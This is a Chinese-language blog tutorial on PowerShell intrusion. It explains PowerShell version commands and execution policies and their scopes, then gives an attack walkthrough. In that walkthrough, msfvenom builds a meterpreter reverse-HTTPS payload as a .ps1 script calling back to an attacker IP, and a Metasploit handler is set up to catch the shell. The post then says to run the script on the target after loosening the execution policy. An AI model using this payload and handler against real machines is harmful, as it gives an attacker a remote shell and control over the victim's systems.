利用powershell脚本进行内网渗透

powershell知识点

        ps1是powershell脚本的拓展名,就相当于cmd的.bat脚本,但是他更加强大。

获取版本信息

get-host
#查看powershell的版本信息

$psversiontable
#查看powershell的版本信息

执行策略

        PowerShell 执行策略是一项安全功能,用于控制 PowerShell 加载配置文件和运行脚本的条件。 此功能有助于防止恶意脚本的执行。

关于策略的知识点

执行策略

脚本为Restricted是不能执行脚本的,Bypass是放行任何策略

AllSigned
    只能运行经过数字证书签名的脚本;

Bypass

    不阻止任何操作,并且没有任何警告或提示。
    此执行策略适用于 PowerShell 脚本内置于较大应用程序的配置,或针对 PowerShell 是具有自身安全模型的程序基础的配置。

Default

    设置默认执行策略。
    Restricted 适用于 Windows 客户端的 。
    适用于 Windows 服务器的 RemoteSigned。

RemoteSigned

    运行本地的脚本不需要数字签名,但是运行从网络上下载的脚本就必须要有数字签名。

Restricted

    默认的设置, 不允许任何脚本运行

Undefined

    当前范围内没有设置执行策略。
    如果所有范围内的执行策略都是 Undefined,则有效的执行策略 Restricted 适用于 Windows 客户端, RemoteSigned 适用于 Windows Server。

Unrestricted

    允许所有的脚本运行;

 策略的生效范围

MachinePolicy
#由组策略为计算机的所有用户设置。

UserPolicy
#由计算机当前用户的组策略设置。

Process
#范围 Process 仅影响当前 PowerShell 会话。 执行策略保存在环境变量 $env:PSExecutionPolicyPreference中,而不是注册表中。 关闭 PowerShell 会话时,变量和值将被删除。

CurrentUser
#执行策略仅影响当前用户。 它存储在 HKEY_CURRENT_USER 注册表子项中。

LocalMachine
#执行策略会影响当前计算机上的所有用户。 它存储在 HKEY_LOCAL_MACHINE 注册表子项中。

 

操作

Get-ExecutionPolicy
#获取当前会话的执行策略

Get-ExecutionPolicy -List
#获取影响当前会话的所有执行策略并按优先顺序显示它们

Get-ExecutionPolicy -Scope CurrentUser
#获取 CurrentUser 范围的执行策略.后面使用的是Scope ExecutionPolicy参数(就是
Get-ExecutionPolicy -List显示出来的)

Set-ExecutionPolicy -ExecutionPolicy 
#更改执行策略

Set-ExecutionPolicy -ExecutionPolicy  -Scope 
#在特定范围内设置执行策略

渗透

1.生成powershell脚本

 msfvenom -p windows/x64/meterpreter_reverse_https lhost=172.20.201.15 lport=443 -f psh > /mnt/c/Users/Administrator/Desktop/shell.ps1

2.打开msfconsile,打开监听模块

msfconsole
#打开msfconsole

use exploit/multi/handler
#打开监听

set payload windows/x64/meterpreter_reverse_https
#设置payload,要与上面保持一致,位数也要一致,不然会出问题

set lport 443
#设置监听端口

set lhost 172.20.201.15
#设置监听地址(与前面要一直)

3.在目标机器的powershell上运行脚本,需要对powershell的执行策略进行设置

没有对策略进行放行遇到的情况

 执行成功,进行后渗透模块

利用powershell脚本进行内网渗透_第1张图片

 

你可能感兴趣的:(网络安全)